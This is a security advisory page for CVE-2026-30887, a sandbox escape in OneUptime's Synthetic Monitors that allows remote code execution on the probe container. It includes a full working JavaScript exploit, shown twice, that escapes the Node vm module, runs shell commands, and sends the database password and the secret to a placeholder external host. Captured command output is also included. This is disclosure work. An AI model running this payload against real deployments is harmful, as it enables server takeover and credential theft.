GHSA-H343-GG57-2Q67
Vulnerability from github – Published: 2026-03-07 02:30 – Updated: 2026-03-10 18:44Summary
OneUptime allows project members to run custom Playwright/JavaScript code via Synthetic Monitors to test websites. However, the system executes this untrusted user code inside the insecure Node.js vm module. By leveraging a standard prototype-chain escape (this.constructor.constructor), an attacker can bypass the sandbox, gain access to the underlying Node.js process object, and execute arbitrary system commands (RCE) on the oneuptime-probe container. Furthermore, because the probe holds database/cluster credentials in its environment variables, this directly leads to a complete cluster compromise.
Details
The root cause of the vulnerability exists in Common/Server/Utils/VM/VMRunner.ts where user-supplied JavaScript is executed using vm.runInContext():
const vmPromise = vm.runInContext(script, sandbox, { ... });
The Node.js documentation explicitly warns that the vm module is not a security boundary and should never be used to run untrusted code.
When a user creates a Synthetic Monitor, the code inputted into the Playwright script editor is passed directly to this backend function without any AST filtering or secure isolation (e.g., isolated-vm or a dedicated restricted container).
An attacker can use the payload const proc = this.constructor.constructor('return process')(); to step out of the sandbox context and grab the host's native process object. From there, they can require child_process to execute arbitrary shell commands.
Since the oneuptime-probe service runs with access to sensitive environment variables (such as ONEUPTIME_SECRET, DATABASE_PASSWORD, etc.), an attacker can trivially exfiltrate these secrets to an external server.
PoC
This exploit can be triggered entirely through the OneUptime web dashboard GUI by any user with at least "Project Member" permissions.
- Log In: Authenticate to the OneUptime Dashboard. (Open registration is enabled by default).
- Navigate: Go to Monitors > Create New Monitor.
- Monitor Type: Select Synthetic Monitor.
- Browser/Screen Settings: Ensure Chromium is selected for "Browser Types" and Desktop is selected for "Screen Size Types".
- Payload Injection: Scroll down to the "Playwright Code" editor. Delete the default template and paste the following malicious JavaScript payload:
return new Promise((resolve) => {
try {
// 1. Traverse the prototype chain to grab the host's process object
const proc = this.constructor.constructor('return process')();
// 2. Load the host's child_process module & run a system command
const cp = proc.mainModule.require('child_process');
const output = cp.execSync('ls -la /usr/src/app').toString();
// 3. (Optional) Read sensitive environment secrets
const secret = proc.env.ONEUPTIME_SECRET;
const db_pass = proc.env.DATABASE_PASSWORD;
// 4. Exfiltrate the data via the native `http` module
const http_real = proc.mainModule.require('http');
const req = http_real.request({
hostname: 'YOUR_OAST_OR_BURP_COLLABORATOR_URL_HERE',
port: 80,
path: '/',
method: 'POST'
}, (res) => {
resolve("EXFILTRATION_STATUS: " + res.statusCode);
});
req.on('error', (e) => resolve("EXFILTRATION_ERROR: " + e.message));
const payloadData = JSON.stringify({ rce_output: output, secret: secret, db: db_pass });
req.write(payloadData);
req.end();
} catch(e) {
resolve("CRITICAL_ERROR: " + e.message);
}
});
- Save & Execute: Click Save. Within 60 seconds, the probe worker will pick up the monitor, execute the code, and send the RCE output to your external listener URL.
OUTPUT:
{"rce_output":"total 296\ndrwxr-xr-x 1 root root 4096 Mar 3 18:27 .\ndrwxr-xr-x 1 root root 4096 Mar 3 18:26 ..\n-rw-r--r-- 1 root root 16 Mar 3 18:24 .gitattributes\n-rwxr-xr-x 1 root root 403 Mar 3 18:24 .gitignore\ndrwxr-xr-x 2 root root 4096 Mar 3 18:24 API\n-rw-r--r-- 1 root root 4103 Mar 3 18:24 Config.ts\n-rw-r--r-- 1 root root 2602 Mar 3 18:24 Dockerfile\n-rw-r--r-- 1 root root 2705 Mar 3 18:24 Dockerfile.tpl\n-rw-r--r-- 1 root root 2935 Mar 3 18:24 Index.ts\ndrwxr-xr-x 3 root root 4096 Mar 3 18:24 Jobs\ndrwxr-xr-x 2 root root 4096 Mar 3 18:24 Services\ndrwxr-xr-x 4 root root 4096 Mar 3 18:24 Tests\ndrwxr-xr-x 3 root root 4096 Mar 3 18:24 Utils\ndrwxr-xr-x 3 root root 4096 Mar 3 18:27 build\n-rw-r--r-- 1 root root 889 Mar 3 18:24 jest.config.json\ndrwxr-xr-x 297 root root 12288 Mar 3 18:26 node_modules\n-rw-r--r-- 1 root root 353 Mar 3 18:24 nodemon.json\n-rw-r--r-- 1 root root 203119 Mar 3 18:24 package-lock.json\n-rw-r--r-- 1 root root 1481 Mar 3 18:24 package.json\n-rw-r--r-- 1 root root 11514 Mar 3 18:24 tsconfig.json\n"}
Impact
What kind of vulnerability is it? Remote Code Execution (RCE) / Code Injection / Sandbox Escape.
Who is impacted? Any OneUptime deployment running version <= 10.0.0. Since open registration is enabled by default, an external, unauthenticated attacker can create an account, create a project, and instantly compromise the entire cluster.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@oneuptime/common"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.0.18"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-30887"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-07T02:30:09Z",
"nvd_published_at": "2026-03-10T17:40:14Z",
"severity": "CRITICAL"
},
"details": "### Summary\nOneUptime allows project members to run custom Playwright/JavaScript code via Synthetic Monitors to test websites. However, the system executes this untrusted user code inside the insecure Node.js `vm` module. By leveraging a standard prototype-chain escape (`this.constructor.constructor`), an attacker can bypass the sandbox, gain access to the underlying Node.js `process` object, and execute arbitrary system commands (RCE) on the `oneuptime-probe` container. Furthermore, because the probe holds database/cluster credentials in its environment variables, this directly leads to a complete cluster compromise.\n\n### Details\nThe root cause of the vulnerability exists in [Common/Server/Utils/VM/VMRunner.ts](oneuptime/Common/Server/Utils/VM/VMRunner.ts) where user-supplied JavaScript is executed using `vm.runInContext()`:\n\n```typescript\nconst vmPromise = vm.runInContext(script, sandbox, { ... });\n```\n\nThe Node.js documentation explicitly warns that the `vm` module is not a security boundary and should never be used to run untrusted code. \n\nWhen a user creates a **Synthetic Monitor**, the code inputted into the Playwright script editor is passed directly to this backend function without any AST filtering or secure isolation (e.g., `isolated-vm` or a dedicated restricted container). \n\nAn attacker can use the payload `const proc = this.constructor.constructor(\u0027return process\u0027)();` to step out of the sandbox context and grab the host\u0027s native `process` object. From there, they can require `child_process` to execute arbitrary shell commands. \n\nSince the `oneuptime-probe` service runs with access to sensitive environment variables (such as `ONEUPTIME_SECRET`, `DATABASE_PASSWORD`, etc.), an attacker can trivially exfiltrate these secrets to an external server.\n\n### PoC\nThis exploit can be triggered entirely through the OneUptime web dashboard GUI by any user with at least \"Project Member\" permissions.\n\n1. **Log In**: Authenticate to the OneUptime Dashboard. (Open registration is enabled by default).\n2. **Navigate**: Go to **Monitors** \u003e **Create New Monitor**.\n3. **Monitor Type**: Select **Synthetic Monitor**.\n4. **Browser/Screen Settings**: Ensure **Chromium** is selected for \"Browser Types\" and **Desktop** is selected for \"Screen Size Types\".\n5. **Payload Injection**: Scroll down to the \"Playwright Code\" editor. Delete the default template and paste the following malicious JavaScript payload:\n\n```javascript\nreturn new Promise((resolve) =\u003e {\n try {\n // 1. Traverse the prototype chain to grab the host\u0027s process object\n const proc = this.constructor.constructor(\u0027return process\u0027)();\n \n // 2. Load the host\u0027s child_process module \u0026 run a system command\n const cp = proc.mainModule.require(\u0027child_process\u0027);\n const output = cp.execSync(\u0027ls -la /usr/src/app\u0027).toString();\n \n // 3. (Optional) Read sensitive environment secrets\n const secret = proc.env.ONEUPTIME_SECRET;\n const db_pass = proc.env.DATABASE_PASSWORD;\n \n // 4. Exfiltrate the data via the native `http` module\n const http_real = proc.mainModule.require(\u0027http\u0027);\n const req = http_real.request({ \n hostname: \u0027YOUR_OAST_OR_BURP_COLLABORATOR_URL_HERE\u0027, \n port: 80, \n path: \u0027/\u0027, \n method: \u0027POST\u0027 \n }, (res) =\u003e {\n resolve(\"EXFILTRATION_STATUS: \" + res.statusCode);\n });\n \n req.on(\u0027error\u0027, (e) =\u003e resolve(\"EXFILTRATION_ERROR: \" + e.message));\n \n const payloadData = JSON.stringify({ rce_output: output, secret: secret, db: db_pass });\n req.write(payloadData);\n req.end();\n } catch(e) {\n resolve(\"CRITICAL_ERROR: \" + e.message);\n }\n});\n```\n\n6. **Save \u0026 Execute**: Click **Save**. Within 60 seconds, the probe worker will pick up the monitor, execute the code, and send the RCE output to your external listener URL.\n\nOUTPUT:\n```\n{\"rce_output\":\"total 296\\ndrwxr-xr-x 1 root root 4096 Mar 3 18:27 .\\ndrwxr-xr-x 1 root root 4096 Mar 3 18:26 ..\\n-rw-r--r-- 1 root root 16 Mar 3 18:24 .gitattributes\\n-rwxr-xr-x 1 root root 403 Mar 3 18:24 .gitignore\\ndrwxr-xr-x 2 root root 4096 Mar 3 18:24 API\\n-rw-r--r-- 1 root root 4103 Mar 3 18:24 Config.ts\\n-rw-r--r-- 1 root root 2602 Mar 3 18:24 Dockerfile\\n-rw-r--r-- 1 root root 2705 Mar 3 18:24 Dockerfile.tpl\\n-rw-r--r-- 1 root root 2935 Mar 3 18:24 Index.ts\\ndrwxr-xr-x 3 root root 4096 Mar 3 18:24 Jobs\\ndrwxr-xr-x 2 root root 4096 Mar 3 18:24 Services\\ndrwxr-xr-x 4 root root 4096 Mar 3 18:24 Tests\\ndrwxr-xr-x 3 root root 4096 Mar 3 18:24 Utils\\ndrwxr-xr-x 3 root root 4096 Mar 3 18:27 build\\n-rw-r--r-- 1 root root 889 Mar 3 18:24 jest.config.json\\ndrwxr-xr-x 297 root root 12288 Mar 3 18:26 node_modules\\n-rw-r--r-- 1 root root 353 Mar 3 18:24 nodemon.json\\n-rw-r--r-- 1 root root 203119 Mar 3 18:24 package-lock.json\\n-rw-r--r-- 1 root root 1481 Mar 3 18:24 package.json\\n-rw-r--r-- 1 root root 11514 Mar 3 18:24 tsconfig.json\\n\"}\n\n```\n\u003cimg width=\"1364\" height=\"470\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9e0d3013-bba5-4188-8777-6903c8f55dba\" /\u003e\n\n\n### Impact\n**What kind of vulnerability is it?** \nRemote Code Execution (RCE) / Code Injection / Sandbox Escape.\n\n**Who is impacted?** \nAny OneUptime deployment running version \u003c= 10.0.0. Since open registration is enabled by default, an external, unauthenticated attacker can create an account, create a project, and instantly compromise the entire cluster.\n\n---",
"id": "GHSA-h343-gg57-2q67",
"modified": "2026-03-10T18:44:03Z",
"published": "2026-03-07T02:30:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-h343-gg57-2q67"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30887"
},
{
"type": "PACKAGE",
"url": "https://github.com/OneUptime/oneuptime"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OneUpTime\u0027s Unsandboxed Code Execution in Probe Allows Any Project Member to Achieve RCE"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.